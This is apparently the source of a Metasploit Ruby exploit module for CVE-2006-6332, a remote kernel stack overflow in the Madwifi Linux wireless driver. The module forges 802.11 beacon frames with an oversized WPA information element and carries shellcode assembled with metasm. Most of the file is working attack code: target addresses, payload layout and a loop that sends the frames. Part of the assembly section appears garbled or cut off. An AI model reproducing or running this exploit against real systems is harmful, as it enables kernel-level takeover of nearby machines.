## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## # Madwifi remote kernel exploit # 100% reliable, doesn't crash wifi stack, can exploit # same target multiple times # # Julien TINNES # Laurent BUTTI <0x9090 at gmail.com> # # vuln in giwscan_cb, here's the path: # # ieee80211_ioctl_giwscan -> ieee80211_scan_iterate -> sta_iterate -> giwscan_cb # require 'msf/core' require 'metasm' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Lorcon2 def initialize(info = {}) super(update_info(info, 'Name' => 'Madwifi SIOCGIWSCAN Buffer Overflow', 'Description' => %q{ The Madwifi driver under Linux is vulnerable to a remote kernel-mode stack-based buffer overflow. The vulnerability is triggered by one of these properly crafted information element: WPA, RSN, WME and Atheros OUI Current madwifi driver (0.9.2) and and all madwifi-ng drivers since r1504 are vulnerable Madwifi 0.9.2.1 release corrects the issue. This module has been tested against Ubuntu 6.10 and is 100% reliable, doesn\'t crash the Wifi stack and can exploit the same machine multiple time without the need to reboot it. This module depends on the Lorcon2 library and only works on the Linux platform with a supported wireless card. Please see the Ruby Lorcon2 documentation (external/ruby-lorcon/README) for more information. }, 'Author' => [ 'Julien Tinnes ', 'Laurent Butti <0x9090 at gmail.com>' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2006-6332'], ['OSVDB', '31267'], ['URL', 'http://www.madwifi.org'] ], #'Stance' => Msf::Exploit::Stance::Passive, 'Platform' => 'linux', 'Arch' => [ ARCH_X86 ], 'Payload' => { #'Space' => 65, # Metasploit doesn't support dynamic size payloads # so we will handle this in metasm instead and ask for # the smaller payload possible #'Encoder' => Msf::Encoder::Type::Raw, 'DisableNops' => true }, 'Targets' => [ [ 'Ubuntu 6.10', { 'JMPESP' => 0xffffe777, 'scan_iterate_ra' => "0x8014401" } ], [ 'Generic (you need non randomized vdso)', { 'JMPESP' => 0xffffe777, 'scan_iterate_ra' => nil } ] ], 'DisclosureDate' => 'Dec 08 2006' )) register_options( [ OptBool.new('SINGLESHOT', [ true, "Break after first victim (for msfcli)", 'false']), OptString.new('SSID', [ true, "The SSID of the emulated access point", 'test']), OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 600]), OptInt.new('LENGTH', [ true, "Length after local variables in giwscan_cb() to overwrite", 24]), OptString.new('ADDR_DST', [ true, "The MAC address of the target system", 'FF:FF:FF:FF:FF:FF']), ], self.class) end def exploit open_wifi #puts "kikoo " + payload.encoded.inspect #puts payload.encoded.to_s.unpack('C*').map { |i| i.to_s 16 }.join(',') stime = Time.now.to_i rtime = datastore['RUNTIME'].to_i count = 0 print_status("Shellcode size is: #{payload.encoded.length} bytes") print_status("Creating malicious beacon frame...") frame = create_beacon() print_status("Sending malicious beacon frames for #{datastore['RUNTIME']} seconds...") while (stime + rtime > Time.now.to_i) wifi.write(frame) select(nil, nil, nil, 0.10) if (count % 100 == 0) count += 1 break if session_created? and datastore['SINGLESHOT'] end print_status("Completed sending #{count} beacons.") end def create_beacon ssid = datastore['SSID'].to_s bssid = Rex::Text.rand_text(6) channel = datastore['CHANNEL'].to_i len = datastore['LENGTH'].to_i seq = [rand(255)].pack('n') jmpesp = target['JMPESP'] # jmp esp in vdso # address just after the call (in ieee80211_scan_iterate in wlan.ko) scan_iterate_ra=target['scan_iterate_ra'] if scan_iterate_ra howtoreturn = "RETURN_PROPERLY" # Return to the parent of giwscan_cb parent else howtoreturn = "RETURN_BADLY" # Return to userland with IRET end bssiwlist = 0x0804ddd0 stacksize = "STACK_8K" getregs = "CALCULATE" #getregs = "IWANTTOSCANMANUALLY" reg_cs = "0x73" reg_ss = "0x7b" wiframe = Metasm::Shellcode.assemble Metasm::Ia32.new, <(('172.24.94.252'.split('.').reverse.inject(0) { |ip, byte| (ip << 8) | byte.to_i }) ^ 0xffffffff) #puts value[-10..-1].unpack('C*').map { |i| i.to_s 16 }.join(',') if (len == 24 and value.length != 198) fail_with(Exploit::Failure::BadConfig, "Value is too big! #{value.length}") end buf = "\xdd" + value.length.chr + value frame = "\x80" + # type/subtype "\x00" + # flags "\x00\x00" + # duration eton(datastore['ADDR_DST']) + # dst bssid + # src bssid + # bssid seq + # seq Rex::Text.rand_text(8) + # timestamp value "\x64\x00" + # beacon interval "\x01\x00" + # capabilities # ssid IE "\x00" + ssid.length.chr + ssid + # supported rates IE "\x01\x08\x82\x84\x8b\x96\x0c\x18\x30\x48" + # channel IE "\x03" + "\x01" + channel.chr + # invalid wpa IE buffer overflow # wpa ie is an example, still valid for other IEs buf return frame end end